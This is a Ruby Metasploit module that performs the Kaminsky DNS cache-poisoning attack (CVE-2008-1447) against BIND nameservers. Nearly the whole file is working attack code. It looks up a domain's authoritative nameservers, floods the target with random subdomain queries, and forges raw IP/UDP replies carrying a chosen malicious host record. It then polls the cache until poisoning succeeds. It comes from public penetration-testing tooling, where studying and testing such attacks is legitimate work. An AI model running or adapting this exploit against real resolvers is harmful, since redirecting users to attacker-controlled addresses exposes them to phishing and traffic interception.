require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
module Msf
class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BaliWicked Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain a
malicious host entry for the hostname to be poisoned in the authority and
additional records sections. Eventually, a guessed ID will match and the
spoofed packet will get accepted, and due to the additional hostname entry
being within baliwick constraints of the original request the malicious host
entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
],
'Privileged' => true,
'Targets' =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
'DisclosureDate' => 'Jul 21 2008'
))
register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
], self.class)
end
def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end
def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end
print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = []
lport = nil
1.upto(5) do |i|
req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end
srv_sock.close
if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
return
end
if(random)
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
print_status(" This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end
def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + '.'
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
ttl = datastore['TTL'].to_i
domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
end
end
# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
t = Time.now + ttl
print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
print_status(" Cache entry expires on #{t.to_s}... sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end
if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end
# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0
connect_ip if not ip_sock
print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
while true
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
req.rd = 1
buff = (
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1
# Send evil spoofed answer from ALL nameservers (barbs[:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1
p = rand(4)+2*10000
p.upto(p+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src => barbs[:addr].to_s,
:src => barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end
# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
end
# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end
end
end
end
end
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